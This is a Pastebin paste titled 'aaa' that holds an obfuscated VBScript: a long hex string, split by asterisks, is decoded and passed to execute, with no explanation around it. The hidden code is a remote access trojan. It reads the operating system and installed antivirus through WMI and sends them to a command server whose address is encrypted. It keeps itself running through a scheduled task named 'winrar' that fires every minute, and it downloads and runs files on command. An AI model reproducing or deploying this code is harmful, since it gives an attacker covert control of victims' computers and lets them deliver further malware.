SHARE
TWEET

aaa

musaad-sa May 24th, 2019 (edited) 104 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim m3,n3,y3
  2. n3 = "4f*6e*20*45*72*72*6f*72*20*52*65*73*75*6d*65*20*4e*65*78*74*0d*0a*6a*20*3d*20*61*72*72*61*79*28*22*57*53*63*72*69*70*74*2e*53*68*65*6c*6c*22*2c*22*53*63*72*69*70*74*69*6e*67*2e*66*69*6c*65*73*79*73*74*65*6d*6f*62*6a*65*63*74*22*2c*22*53*68*65*6c*6c*2e*41*70*70*6c*69*63*61*74*69*6f*6e*22*2c*22*6d*73*78*6d*6c*32*2e*78*6d*6c*68*74*74*70*22*2c*22*61*64*6f*64*62*2e*73*74*72*65*61*6d*22*29*0d*0a*67*20*3d*20*61*72*72*61*79*28*22*48*4b*43*55*22*2c*22*48*4b*4c*4d*22*2c*22*48*4b*43*55*5c*53*79*73*74*65*6d*5c*43*75*72*72*65*6e*74*43*6f*6e*74*72*6f*6c*53*65*74*5c*64*e9*66*61*75*6c*74*22*2c*22*5c*53*6f*66*74*77*61*72*65*5c*4d*69*63*72*6f*73*6f*66*74*5c*57*69*6e*64*6f*77*73*5c*43*75*72*72*65*6e*74*56*65*72*73*69*6f*6e*5c*52*75*6e*5c*22*2c*22*48*4b*4c*4d*5c*53*4f*46*54*57*41*52*45*5c*43*6c*61*73*73*65*73*5c*22*2c*22*52*45*47*5f*53*5a*22*2c*22*5c*64*65*66*61*75*6c*74*69*63*6f*6e*5c*22*29*0d*0a*79*3d*20*61*72*72*61*79*28*22*77*69*6e*6d*67*6d*74*73*3a*22*2c*22*77*69*6e*33*32*5f*6c*6f*67*69*63*61*6c*64*69*73*6b*22*2c*22*57*69*6e*33*32*5f*4f*70*65*72*61*74*69*6e*67*53*79*73*74*65*6d*22*2c*22*77*69*6e*6d*67*6d*74*73*3a*5c*5c*6c*6f*63*61*6c*68*6f*73*74*5c*72*6f*6f*74*5c*73*65*63*75*72*69*74*79*63*65*6e*74*65*72*22*2c*22*41*6e*74*69*56*69*72*75*73*50*72*6f*64*75*63*74*22*29*0d*0a*48*3d*68*6f*73*74*0d*0a*53*65*74*20*77*20*3d*20*57*53*63*72*69*70*74*0d*0a*73*65*74*20*73*68*20*3d*20*43*72*28*30*29*0d*0a*73*65*74*20*66*73*20*3d*20*43*72*28*31*29*0d*0a*53*65*74*20*6f*3d*43*72*28*33*29*0d*0a*53*65*74*20*73*74*20*3d*20*43*72*28*34*29*0d*0a*76*6e*3d*22*4f*66*66*69*63*65*22*0d*0a*55*3d*22*22*0d*0a*63*68*20*3d*20*63*68*72*77*28*33*34*29*0d*0a*63*20*3d*20*63*68*72*77*28*39*32*29*0d*0a*66*75*20*3d*20*77*2e*73*63*72*69*70*74*66*75*6c*6c*6e*61*6d*65*0d*0a*77*6e*3d*77*2e*73*63*72*69*70*74*6e*61*6d*65*0d*0a*4e*54*3d*22*2d*22*0d*0a*66*75*6e*63*74*69*6f*6e*20*67*6f*28*6d*29*0d*0a*69*66*20*6d*3d*34*20*74*68*65*6e*0d*0a*53*65*74*20*42*3d*47*65*74*4f*62*6a*65*63*74*28*79*28*33*29*29*2e*49*6e*73*74*61*6e*63*65*73*4f*66*28*79*28*34*29*29*0d*0a*66*6f*72*20*65*61*63*68*20*61*20*69*6e*20*62*0d*0a*67*6f*3d*61*2e*64*69*73*70*6c*61*79*4e*61*6d*65*0d*0a*65*78*69*74*20*66*6f*72*0d*0a*6e*65*78*74*0d*0a*53*65*74*20*42*3d*47*65*74*4f*62*6a*65*63*74*28*79*28*33*29*20*26*20*22*32*22*29*2e*49*6e*73*74*61*6e*63*65*73*4f*66*28*79*28*34*29*29*0d*0a*66*6f*72*20*65*61*63*68*20*61*20*69*6e*20*62*0d*0a*67*6f*3d*61*2e*64*69*73*70*6c*61*79*4e*61*6d*65*0d*0a*65*78*69*74*20*66*6f*72*0d*0a*6e*65*78*74*0d*0a*69*66*20*67*6f*3d*22*22*20*74*68*65*6e*20*67*6f*3d*22*4e*6f*74*2d*66*6f*75*6e*64*22*0d*0a*65*6c*73*65*0d*0a*53*65*74*20*42*3d*47*65*74*4f*62*6a*65*63*74*28*79*28*30*29*29*2e*49*6e*73*74*61*6e*63*65*73*4f*66*28*79*28*6d*29*29*0d*0a*66*6f*72*20*65*61*63*68*20*61*20*69*6e*20*62*0d*0a*69*66*20*6d*20*3d*20*32*20*74*68*65*6e*0d*0a*67*6f*3d*61*2e*63*61*70*74*69*6f*6e*0d*0a*65*6e*64*20*69*66*0d*0a*65*78*69*74*20*66*6f*72*0d*0a*6e*65*78*74*0d*0a*65*6e*64*20*69*66*0d*0a*65*6e*64*20*66*75*6e*63*74*69*6f*6e*0d*0a*46*75*6e*63*74*69*6f*6e*20*68*6f*73*74*0d*0a*44*69*6d*20*6f*58*4d*4c*48*54*54*50*0d*0a*44*69*6d*20*6f*53*74*72*65*61*6d*0d*0a*53*65*74*20*6f*58*4d*4c*48*54*54*50*20*3d*20*43*72*65*61*74*65*4f*62*6a*65*63*74*28*22*4d*53*58*4d*4c*32*2e*58*4d*4c*48*54*54*50*2e*33*2e*30*22*29*0d*0a*6f*58*4d*4c*48*54*54*50*2e*4f*70*65*6e*20*22*47*45*54*22*2c*20*64*65*63*72*79*70*74*28*22*51*4d*4d*40*43*2a*36*36*49*51*43*44*5c*5b*50*5e*3e*53*56*54*36*42*51*47*36*51*58*44*4a*23*77*21*75*22*2c*22*39*39*39*30*30*30*22*29*2c*20*46*61*6c*73*65*0d*0a*6f*58*4d*4c*48*54*54*50*2e*53*65*6e*64*0d*0a*49*66*20*6f*58*4d*4c*48*54*54*50*2e*53*74*61*74*75*73*20*3d*20*32*30*30*20*54*68*65*6e*0d*0a*68*6f*73*74*20*3d*20*6f*58*4d*4c*48*54*54*50*2e*72*65*73*70*6f*6e*73*65*54*65*78*74*0d*0a*45*6e*64*20*49*66*0d*0a*45*6e*64*20*46*75*6e*63*74*69*6f*6e*0d*0a*46*75*6e*63*74*69*6f*6e*20*43*72*28*4e*29*0d*0a*53*65*74*20*43*72*20*3d*20*43*72*65*61*74*65*4f*62*6a*65*63*74*28*6a*28*4e*29*29*0d*0a*45*6e*64*20*46*75*6e*63*74*69*6f*6e*0d*0a*66*75*6e*63*74*69*6f*6e*20*45*78*28*73*29*0d*0a*45*78*20*3d*20*73*68*2e*45*78*70*61*6e*64*45*6e*76*69*72*6f*6e*6d*65*6e*74*53*74*72*69*6e*67*73*28*73*29*0d*0a*65*6e*64*20*66*75*6e*63*74*69*6f*6e*0d*0a*66*75*6e*63*74*69*6f*6e*20*50*74*28*43*2c*41*29*0d*0a*50*74*3d*22*22*0d*0a*53*65*74*20*58*3d*43*72*28*33*29*0d*0a*58*2e*4f*70*65*6e*20*22*50*4f*53*54*22*2c*22*68*74*74*70*3a*2f*2f*22*26*48*26*22*2f*22*26*43*2c*66*61*6c*73*65*0d*0a*58*2e*73*65*74*72*65*71*75*65*73*74*68*65*61*64*65*72*20*22*55*73*65*72*2d*41*67*65*6e*74*3a*22*2c*69*6e*66*6f*72*6d*61*74*69*6f*6e*0d*0a*58*2e*73*65*6e*64*20*41*0d*0a*50*74*3d*58*2e*72*65*73*70*6f*6e*73*65*74*65*78*74*0d*0a*73*65*74*20*58*3d*6e*6f*74*68*69*6e*67*0d*0a*65*6e*64*20*46*75*6e*63*74*69*6f*6e*0d*0a*66*75*6e*63*74*69*6f*6e*20*69*6e*66*6f*72*6d*61*74*69*6f*6e*0d*0a*6f*6e*20*65*72*72*6f*72*20*72*65*73*75*6d*65*20*4e*65*78*74*0d*0a*20*69*6e*66*20*3d*20*22*22*0d*0a*69*66*20*69*6e*66*20*3d*20*22*22*20*74*68*65*6e*0d*0a*69*6e*66*20*3d*20*76*6e*20*26*20*4e*54*20*26*20*73*70*6c*0d*0a*69*6e*66*20*3d*20*69*6e*66*20*26*20*67*6f*28*32*29*20*26*20*73*70*6c*0d*0a*69*6e*66*20*3d*20*69*6e*66*20*26*20*67*6f*28*34*29*20*26*20*73*70*6c*0d*0a*69*6e*66*6f*72*6d*61*74*69*6f*6e*20*3d*20*69*6e*66*0d*0a*65*6c*73*65*0d*0a*69*6e*66*6f*72*6d*61*74*69*6f*6e*20*3d*20*69*6e*66*0d*0a*65*6e*64*20*69*66*0d*0a*65*6e*64*20*46*75*6e*63*74*69*6f*6e*0d*0a*0d*0a*53*75*62*20*4e*73*0d*0a*6f*6e*20*65*72*72*6f*72*20*72*65*73*75*6d*65*20*6e*65*78*74*0d*0a*49*66*20*66*73*2e*46*69*6c*65*45*78*69*73*74*73*28*64*72*29*20*54*68*65*6e*0d*0a*65*6c*73*65*0d*0a*0d*0a*0d*0a*73*68*2e*72*75*6e*20*22*73*63*68*74*61*73*6b*73*20*2f*63*72*65*61*74*65*20*2f*73*63*20*6d*69*6e*75*74*65*20*2f*6d*6f*20*31*20*2f*74*6e*20*77*69*6e*72*61*72*20*2f*74*72*20*22*20*26*20*43*68*72*57*28*33*34*29*20*26*20*66*75*2c*66*61*6c*73*65*0d*0a*0d*0a*45*6e*64*20*49*66*0d*0a*65*6e*64*20*53*75*62*0d*0a*0d*0a*0d*0a*69*66*20*66*73*2e*66*69*6c*65*65*78*69*73*74*73*28*65*78*28*22*25*57*69*6e*64*69*72*25*22*29*20*26*20*22*5c*4d*69*63*72*6f*73*6f*66*74*2e*4e*45*54*5c*46*72*61*6d*65*77*6f*72*6b*5c*76*32*2e*30*2e*35*30*37*32*37*5c*76*62*63*2e*65*78*65*22*29*20*74*68*65*6e*0d*0a*4e*54*3d*22*2b*22*0d*0a*65*6e*64*20*69*66*0d*0a*73*70*6c*3d*22*34*30*32*36*22*26*22*45*41*38*42*22*0d*0a*77*68*69*6c*65*20*74*72*75*65*0d*0a*73*3d*73*70*6c*69*74*28*50*74*28*22*35*37*33*46*44*36*35*45*30*45*37*41*42*37*45*34*22*2c*22*22*29*2c*73*70*6c*29*0d*0a*73*65*6c*65*63*74*20*63*61*73*65*20*73*28*30*29*0d*0a*43*61*73*65*20*22*34*44*37*31*45*33*32*37*41*45*34*43*41*46*42*46*22*0d*0a*73*69*74*65*64*6f*77*6e*6c*6f*61*64*65*72*20*73*28*31*29*2c*73*28*32*29*0d*0a*63*61*73*65*20*22*65*78*63*65*63*75*74*65*22*0d*0a*65*78*65*63*75*74*65*73*28*31*29*0d*0a*63*61*73*65*20*22*34*42*30*34*38*31*37*43*37*35*42*36*22*0d*0a*73*65*74*20*77*72*20*3d*20*66*73*2e*4f*70*65*6e*54*65*78*74*46*69*6c*65*28*66*75*2c*32*2c*66*61*6c*73*65*29*0d*0a*77*72*2e*57*72*69*74*65*20*73*28*31*29*0d*0a*77*72*2e*43*6c*6f*73*65*28*29*0d*0a*73*68*2e*72*75*6e*20*22*77*73*63*72*69*70*74*2e*65*78*65*20*2f*2f*42*20*22*20*26*20*63*68*20*26*20*66*75*20*26*20*63*68*2c*20*36*0d*0a*70*74*20*22*35*37*33*46*44*36*35*39*32*31*31*39*37*46*39*36*43*33*22*2c*22*22*0d*0a*77*2e*71*75*69*74*0d*0a*63*61*73*65*20*22*37*44*31*34*22*0d*0a*57*2e*71*75*69*74*0d*0a*45*6e*64*20*53*65*6c*65*63*74*0d*0a*0d*0a*4e*73*0d*0a*57*65*6e*64*0d*0a*53*75*62*20*73*69*74*65*64*6f*77*6e*6c*6f*61*64*65*72*20*28*66*69*6c*65*75*72*6c*2c*66*69*6c*65*6e*61*6d*65*29*0d*0a*73*74*72*6c*69*6e*6b*20*3d*20*66*69*6c*65*75*72*6c*0d*0a*73*74*72*73*61*76*65*74*6f*20*3d*20*45*78*28*22*25*74*65*6d*70*25*22*29*20*26*20*22*5c*22*20*26*20*66*69*6c*65*6e*61*6d*65*0d*0a*6f*2e*6f*70*65*6e*20*22*67*65*74*22*2c*20*73*74*72*6c*69*6e*6b*2c*20*46*61*6c*73*65*0d*0a*6f*2e*73*65*6e*64*0d*0a*49*66*20*66*73*2e*66*69*6c*65*65*78*69*73*74*73*20*28*73*74*72*73*61*76*65*74*6f*29*20*54*68*65*6e*0d*0a*66*73*2e*64*65*6c*65*74*65*66*69*6c*65*20*28*73*74*72*73*61*76*65*74*6f*29*0d*0a*45*6e*64*20*49*66*0d*0a*49*66*20*6f*2e*73*74*61*74*75*73*20*3d*20*32*30*30*20*54*68*65*6e*0d*0a*57*69*74*68*20*73*74*0d*0a*2e*74*79*70*65*20*3d*20*31*0d*0a*2e*6f*70*65*6e*0d*0a*2e*77*72*69*74*65*20*6f*2e*72*65*73*70*6f*6e*73*65*62*6f*64*79*0d*0a*2e*73*61*76*65*74*6f*66*69*6c*65*20*73*74*72*73*61*76*65*74*6f*0d*0a*2e*63*6c*6f*73*65*0d*0a*45*6e*64*20*57*69*74*68*0d*0a*53*65*74*20*73*74*20*3d*20*4e*6f*74*68*69*6e*67*0d*0a*45*6e*64*20*49*66*0d*0a*49*66*20*66*73*2e*66*69*6c*65*65*78*69*73*74*73*28*73*74*72*73*61*76*65*74*6f*29*20*54*68*65*6e*0d*0a*73*68*2e*72*75*6e*20*66*73*2e*67*65*74*66*69*6c*65*20*28*73*74*72*73*61*76*65*74*6f*29*2e*73*68*6f*72*74*70*61*74*68*0d*0a*45*6e*64*20*49*66*0d*0a*45*6e*64*20*53*75*62*0d*0a*66*75*6e*63*74*69*6f*6e*20*64*65*63*72*79*70*74*28*44*61*74*61*2c*20*6b*65*79*29*0d*0a*44*69*6d*20*49*2c*20*5a*0d*0a*44*69*6d*20*43*0d*0a*44*69*6d*20*43*6f*64*65*0d*0a*44*69*6d*20*52*65*73*75*6c*74*0d*0a*52*65*73*75*6c*74*3d*22*22*0d*0a*69*66*20*6c*65*6e*28*44*61*74*61*29*20*3e*20*30*20*74*68*65*6e*0d*0a*5a*3d*6c*65*6e*28*6b*65*79*29*0d*0a*66*6f*72*20*49*20*3d*20*31*20*74*6f*20*6c*65*6e*28*44*61*74*61*29*0d*0a*43*6f*64*65*3d*41*73*63*28*6d*69*64*28*6b*65*79*2c*20*28*28*49*20*2d*20*31*29*20*6d*6f*64*20*5a*20*2b*20*31*29*29*29*0d*0a*69*66*20*41*73*63*28*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*29*20*3e*3d*20*31*32*38*20*74*68*65*6e*0d*0a*43*3d*20*43*68*72*28*41*73*63*28*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*29*20*78*6f*72*20*28*43*6f*64*65*20*61*6e*64*20*26*48*37*46*29*29*0d*0a*65*6c*73*65*69*66*20*41*73*63*28*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*29*20*3e*3d*20*36*34*20*74*68*65*6e*0d*0a*43*3d*20*43*68*72*28*41*73*63*28*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*29*20*78*6f*72*20*28*43*6f*64*65*20*61*6e*64*20*26*48*33*46*29*29*0d*0a*65*6c*73*65*69*66*20*41*73*63*28*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*29*20*3e*3d*20*33*32*20*74*68*65*6e*0d*0a*43*3d*20*43*68*72*28*41*73*63*28*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*29*20*78*6f*72*20*28*43*6f*64*65*20*61*6e*64*20*26*48*31*46*29*29*0d*0a*65*6c*73*65*0d*0a*43*3d*4d*69*64*28*44*61*74*61*2c*20*49*2c*20*31*29*0d*0a*45*6e*64*20*49*66*0d*0a*52*65*73*75*6c*74*3d*52*65*73*75*6c*74*20*26*20*43*0d*0a*6e*65*78*74*0d*0a*65*6e*64*20*69*66*0d*0a*64*65*63*72*79*70*74*20*3d*20*52*65*73*75*6c*74*0d*0a*45*6e*64*20*46*75*6e*63*74*69*6f*6e*0d*0a*"
  3. m3 =Split(n3,"*"):For each x in m3:y3 = y3 &  x:Next:str = str & HEXC(y3)
  4. s="execute str":n=n& HEXC("45786563757465287329")
  5. execute(n):Function HEXC(str) :For y = 1 To Len(str) Step 2
  6. ub = ub & Chr(Clng("&H" & Mid(str, y, 2))):Next :HEXC = ub:End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top